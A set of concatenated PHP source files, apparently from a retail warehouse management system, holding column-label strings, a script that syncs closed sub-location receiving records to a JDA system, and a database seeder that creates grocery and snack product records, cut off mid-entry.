'col_total_qty' => 'Total Qty.',
'col_supplier' => 'Supplier',
'col_receiving_stock_piler' => 'Receiving Stock Piler',
'col_delivery_date' => 'Delivery Date',
'col_invoice_number' => 'Invoice Number',
'col_invoice_amount' => 'Invoice Amount',
'col_status' => 'Status',
'col_action' => 'Action',
'col_entry_date' => 'Entry Date',
'col_back_order' => 'Back Order',
'col_carton_id' => 'Carton Id',
'col_expiry_date' => 'Expiry date',
'col_slot' => 'Slot',
'col_received_no' => 'Receiver No.',
'col_shipment_ref_no' => 'Shipment Ref No.',
'col_purchase_order_no' => 'PO No.',
'col_received_by' => 'Received By',
'col_sku' => 'SKU',
'col_upc' => 'UPC',
'col_short_name' => 'Item Description',
'col_expected_quantity' => 'Expected_quantity',
'col_received_quantity' => 'Received Quantity',
);<file_sep><?php
require_once(__DIR__ . '/db_connection/db_subloc_receiving.php');
require_once(__DIR__ . '/keystroke/subloc_receiving.php');
$db_connect = new db_subloc_receiving_function ();
$db_connect->Connect();
$getClosed = $db_connect->getClosedSublocReceive();
foreach ($getClosed as $header)
{
echo "MTS Number :".$header['move_doc_number']."\n";
$getPickedQty = $db_connect->getQtySublocReceive($header['move_doc_number']);
foreach ($getPickedQty as $details)
{
echo " SKU ->".$details['sku']." ".$details['moved_qty']."\n";
$db_connect->JDAUpdateSublocReceiveQty($header['move_doc_number'], $details['sku'],$details['moved_qty']);
}
$whpicking = new ReturnWarehouse ();
$whpicking->Login();
if($whpicking)
{
$whpicking->Initiate();
$whpicking->DoSublocReceiving($header['move_doc_number']);
}
//$db_connect->updateIsSyncedSublocReceive($header['move_doc_number']);
}
<file_sep><?php
class ProductListsSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
ProductList::truncate();
ProductList::create(array(
"sku"=>902994,
"upc"=>902994,
"description"=>"OMGs DRKCHOCO CLSTR ALMDS&TOFE",
"short_description"=>"OMGSDARKCH",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>205,
"set_code"=>7
));
ProductList::create(array(
"sku"=>902995,
"upc"=>902995,
"description"=>"OMGs MILKCHOCO CLSTR ALMDS&TO",
"short_description"=>"OMGSMILKCH",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>205,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903000,
"upc"=>903000,
"description"=>"HARIBO GOLDBEARS 30G",
"short_description"=>"HARIBOGOLD",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903001,
"upc"=>903001,
"description"=>"HARIBO HAPPYCOLA 30G",
"short_description"=>"HARIBOHAPP",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903002,
"upc"=>903002,
"description"=>"MIN MAID ORANGE250ML",
"short_description"=>"MINMAIDORA",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>210,
"class"=>206,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903003,
"upc"=>903003,
"description"=>"MIN MAID ORANGE800ML",
"short_description"=>"MINMAIDORA",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>210,
"class"=>206,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903004,
"upc"=>903004,
"description"=>"DM 4 SEASONS 1L",
"short_description"=>"DMSEASONSL",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>210,
"class"=>206,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903005,
"upc"=>903005,
"description"=>"DEL MONTE MANGO 1L",
"short_description"=>"DELMONTEMA",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>210,
"class"=>206,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903006,
"upc"=>903006,
"description"=>"TROPICANA MANGO355ML",
"short_description"=>"TROPICANAM",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>210,
"class"=>206,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903008,
"upc"=>903008,
"description"=>"DEL MONTE SPAGHETTI 175G",
"short_description"=>"DELMONTESP",
"vendor"=>20100,
"dept_code"=>200,
"sub_dept"=>270,
"class"=>239,
"sub_class"=>202,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800195,
"upc"=>800195,
"description"=>"LIGHT CARROT SLICE A",
"short_description"=>"LIGHTCARRO",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>117,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800196,
"upc"=>800196,
"description"=>"CHOCO BANANA WALNUT SLICE A",
"short_description"=>"CHOCOBANAN",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>117,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800212,
"upc"=>800212,
"description"=>"PROMO-NESTLE JUICE 12OZ",
"short_description"=>"PROMONESTL",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>102,
"sub_class"=>102,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800214,
"upc"=>800214,
"description"=>"VALUE MEAL-DRINK UPSIZE 16OZ",
"short_description"=>"VALUEMEALD",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>102,
"sub_class"=>102,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800215,
"upc"=>800215,
"description"=>"VALUE MEAL-DRINK UPSIZE 22OZ",
"short_description"=>"VALUEMEALD",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>102,
"sub_class"=>102,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800237,
"upc"=>800237,
"description"=>"CHOUX CREAM VANILLA",
"short_description"=>"CHOUXCREAM",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>109,
"sub_class"=>102,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800238,
"upc"=>800238,
"description"=>"CHOUX CREAM CHOCOLATE",
"short_description"=>"CHOUXCREAM",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>109,
"sub_class"=>102,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800239,
"upc"=>800239,
"description"=>"CHOUX CREAM MATCHA",
"short_description"=>"CHOUXCREAM",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>109,
"sub_class"=>102,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800257,
"upc"=>800257,
"description"=>"WHITE CHOCO SUNDAE CONE",
"short_description"=>"WHITECHOCO",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>105,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800258,
"upc"=>800258,
"description"=>"MIXED DARK WHITE SUNDAE CONE",
"short_description"=>"MIXEDDARKW",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>105,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>800259,
"upc"=>800259,
"description"=>"MIXED GTEA WHITE SUNDAE CONE",
"short_description"=>"MIXEDGTEAW",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>105,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903056,
"upc"=>903056,
"description"=>"TUNAPNDSAL MEP+LOWFATMLK250ML",
"short_description"=>"MILK250ML",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903057,
"upc"=>903057,
"description"=>"SPAM&EGGPNDSAL MEP+LOWFATMLK",
"short_description"=>"SPAMEGGPND",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903058,
"upc"=>903058,
"description"=>"VIENNASSAGECHSEPNDSLMEP+LOWFAT",
"short_description"=>"VIENNASSAG",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903059,
"upc"=>903059,
"description"=>"CHCKNPSTELPNDSAL MEP+LOWFATMLK",
"short_description"=>"CHCKNPSTEL",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903060,
"upc"=>903060,
"description"=>"DOLEBNNASNGLE+NSTLEFSMLON125G",
"short_description"=>"MELON125G",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>103,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903061,
"upc"=>903061,
"description"=>"DOLEBNNASNGLE+NSTLEFSSTRAW125G",
"short_description"=>"DOLEBNNASN",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>103,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903062,
"upc"=>903062,
"description"=>"DOLEBNNASNGLE+NSTLEFSMANGO125G",
"short_description"=>"DOLEBNNASN",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>103,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903063,
"upc"=>903063,
"description"=>"DOLEBNNASNGLE+NSTLEFSBUCNA125G",
"short_description"=>"DOLEBNNASN",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>103,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903064,
"upc"=>903064,
"description"=>"FCUP PINEPOMELOMELON+LOWFATMLK",
"short_description"=>"FCUPPINEPO",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903065,
"upc"=>903065,
"description"=>"FCUP PINEPOMELOPPAYA+LOWFATMLK",
"short_description"=>"FCUPPINEPO",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903066,
"upc"=>903066,
"description"=>"FCUP MLONHNYDEWCNTLOUPE+LWFATM",
"short_description"=>"FCUPMLONHN",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903067,
"upc"=>903067,
"description"=>"FCUP PINESTRAWPAPAYA+LOWFATMLK",
"short_description"=>"FCUPPINEST",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903068,
"upc"=>903068,
"description"=>"FCUP WHDRAGONMLONFUJI+LWFATMLK",
"short_description"=>"FCUPWHDRAG",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903069,
"upc"=>903069,
"description"=>"TUNAPNDESALMEP+NONFATMILK250ML",
"short_description"=>"TUNAPNDESA",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903070,
"upc"=>903070,
"description"=>"SPAM&EGGPNDESALMEP+NONFATMILK",
"short_description"=>"SPAMEGGPND",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903071,
"upc"=>903071,
"description"=>"VIENNASSAGECHSEPNDSLMEP+NONFAT",
"short_description"=>"VIENNASSAG",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903072,
"upc"=>903072,
"description"=>"CHCKNPSTELPNDESALMEP+NONFATMLK",
"short_description"=>"CHCKNPSTEL",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>110,
"class"=>108,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903073,
"upc"=>903073,
"description"=>"FCUP PINEPOMELOMELON+NONFATMLK",
"short_description"=>"FCUPPINEPO",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903074,
"upc"=>903074,
"description"=>"FCUP PINEPOMELOPAPAYA+NONFATMI",
"short_description"=>"FCUPPINEPO",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903075,
"upc"=>903075,
"description"=>"FCUP MLONHNYDEWCNTLOUPE+NONFAT",
"short_description"=>"FCUPMLONHN",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903076,
"upc"=>903076,
"description"=>"FCUP PINESTRAWPAPAYA+NONFATMLK",
"short_description"=>"FCUPPINEST",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903077,
"upc"=>903077,
"description"=>"FCUP WHDRAGONMLONFUJI+NONFATMK",
"short_description"=>"FCUPWHDRAG",
"vendor"=>20999,
"dept_code"=>100,
"sub_dept"=>120,
"class"=>116,
"sub_class"=>101,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900001,
"upc"=>900001,
"description"=>"ALASKAEVAP FILD370ML",
"short_description"=>"ALASKAEVAP",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>205,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900002,
"upc"=>900002,
"description"=>"ALASKA EVAP 370ML",
"short_description"=>"ALASKAEVAP",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>205,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900003,
"upc"=>900003,
"description"=>"ALASKA SCM 300ML",
"short_description"=>"ALASKASCMM",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900004,
"upc"=>900004,
"description"=>"CAR EVAP 370ML",
"short_description"=>"CAREVAPML",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>205,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900005,
"upc"=>900005,
"description"=>"CAR CONDENSADA 300ML",
"short_description"=>"CARCONDENS",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900006,
"upc"=>900006,
"description"=>"ALPNSTRLZCRMILK200ML",
"short_description"=>"ALPNSTRLZC",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>205,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900007,
"upc"=>900007,
"description"=>"ALASKA CHOCO SLIM PACK 236ML",
"short_description"=>"ALASKACHOC",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>210,
"class"=>202,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900008,
"upc"=>900008,
"description"=>"ALASKA SWT MILK SLIM PCK 236ML",
"short_description"=>"ALASKASWTM",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>210,
"class"=>207,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900009,
"upc"=>900009,
"description"=>"ALASKA YOGHURT STRWBRY 180ML",
"short_description"=>"ALASKAYOGH",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>220,
"class"=>213,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900010,
"upc"=>900010,
"description"=>"ALASKA YOGHURT BLUEBRY 180ML",
"short_description"=>"ALASKAYOGH",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>220,
"class"=>213,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900011,
"upc"=>900011,
"description"=>"ALASKA CREMA 250ML",
"short_description"=>"ALASKACREM",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>205,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900012,
"upc"=>900012,
"description"=>"ALASKA PWDRD MILK DRNK BX 150G",
"short_description"=>"ALASKAPWDR",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>207,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>903007,
"upc"=>903007,
"description"=>"ALASKA CHOCOLATE 20G",
"short_description"=>"ALASKACHOC",
"vendor"=>30001,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>228,
"sub_class"=>206,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900013,
"upc"=>900013,
"description"=>"POTCHI STRWBRY SNACK PACK 25G",
"short_description"=>"POTCHISTRW",
"vendor"=>30002,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900014,
"upc"=>900014,
"description"=>"POTCHI GUMMY WORMS 25G",
"short_description"=>"POTCHIGUMM",
"vendor"=>30002,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900015,
"upc"=>900015,
"description"=>"FRUTOS CHEWY FRUIT 25G",
"short_description"=>"FRUTOSCHEW",
"vendor"=>30002,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>208,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900016,
"upc"=>900016,
"description"=>"FRUTOS CHEWY SOUR 25G",
"short_description"=>"FRUTOSCHEW",
"vendor"=>30002,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>208,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900017,
"upc"=>900017,
"description"=>"POTCHI SOUR GUMMY FRUITS 25G",
"short_description"=>"POTCHISOUR",
"vendor"=>30002,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900018,
"upc"=>900018,
"description"=>"POTCHI GUMMY BEARS 25G",
"short_description"=>"POTCHIGUMM",
"vendor"=>30002,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>214,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900019,
"upc"=>900019,
"description"=>"VAN HOUTEN FRUIT NUT WHOLE 38G",
"short_description"=>"VANHOUTENF",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900020,
"upc"=>900020,
"description"=>"VAN HOUTEN ALMOND WHOLE 38G",
"short_description"=>"VANHOUTENA",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900021,
"upc"=>900021,
"description"=>"HERSHEYS TREATS CHOCO ROLL 16G",
"short_description"=>"HERSHEYSTR",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>209,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900022,
"upc"=>900022,
"description"=>"HERSHEYS TREATS COOKIE BAR 18G",
"short_description"=>"HERSHEYSTR",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>209,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900023,
"upc"=>900023,
"description"=>"HERSHEYS TREATS CRNCHY BAR 18G",
"short_description"=>"HERSHEYSTR",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>209,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900024,
"upc"=>900024,
"description"=>"HERSHEYS MILK CHOCO KISS 36G",
"short_description"=>"HERSHEYSMI",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900025,
"upc"=>900025,
"description"=>"HERSHEYS ALM KISS 36G",
"short_description"=>"HERSHEYSAL",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900026,
"upc"=>900026,
"description"=>"HERSHEYS MILK CHOCO KISS 43G",
"short_description"=>"HERSHEYSMI",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900027,
"upc"=>900027,
"description"=>"HERSHEYS COOKIESNCRM KISS 36G",
"short_description"=>"HERSHEYSCO",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>204,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900028,
"upc"=>900028,
"description"=>"HERSHEYS MILK CHOCO BAR 43G",
"short_description"=>"HERSHEYSMI",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900029,
"upc"=>900029,
"description"=>"HERSHEYS ALMOND BAR 41G",
"short_description"=>"HERSHEYSAL",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900030,
"upc"=>900030,
"description"=>"HERSHEYS COOKIESNCRM BAR 40G",
"short_description"=>"HERSHEYSCO",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900031,
"upc"=>900031,
"description"=>"HERSHEYS CRMY MILK BAR 40G",
"short_description"=>"HERSHEYSCR",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900032,
"upc"=>900032,
"description"=>"HERSHEYS CRMY ALM BAR 40G",
"short_description"=>"HERSHEYSCR",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900033,
"upc"=>900033,
"description"=>"HERSHEYS NUGGET MILK 3P 28G",
"short_description"=>"HERSHEYSNU",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>202,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900034,
"upc"=>900034,
"description"=>"HERSHEYS NUGGET ALMOND3P 28G",
"short_description"=>"HERSHEYSNU",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>202,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900035,
"upc"=>900035,
"description"=>"<NAME> CKSNCRM 3P 28G",
"short_description"=>"HERSHEYSNU",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>202,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>902717,
"upc"=>902717,
"description"=>"<NAME> 23G",
"short_description"=>"HERSHEYALM",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>902718,
"upc"=>902718,
"description"=>"<NAME>AR 23G",
"short_description"=>"HERSHEYCNC",
"vendor"=>30003,
"dept_code"=>200,
"sub_dept"=>230,
"class"=>215,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>902784,
"upc"=>902784,
"description"=>"TANG MANGO 25G",
"short_description"=>"TANGMANGOG",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900036,
"upc"=>900036,
"description"=>"TANG PINEAPPLE25G",
"short_description"=>"TANGPINEAP",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900037,
"upc"=>900037,
"description"=>"TANG ORANGE 30G",
"short_description"=>"TANGORANGE",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900038,
"upc"=>900038,
"description"=>"TANG LITRO APPLE 30G",
"short_description"=>"TANGLITROA",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900039,
"upc"=>900039,
"description"=>"TANG STRAWBERRY 25G",
"short_description"=>"TANGSTRAWB",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900040,
"upc"=>900040,
"description"=>"TANG ICETEALEMON 25G",
"short_description"=>"TANGICETEA",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
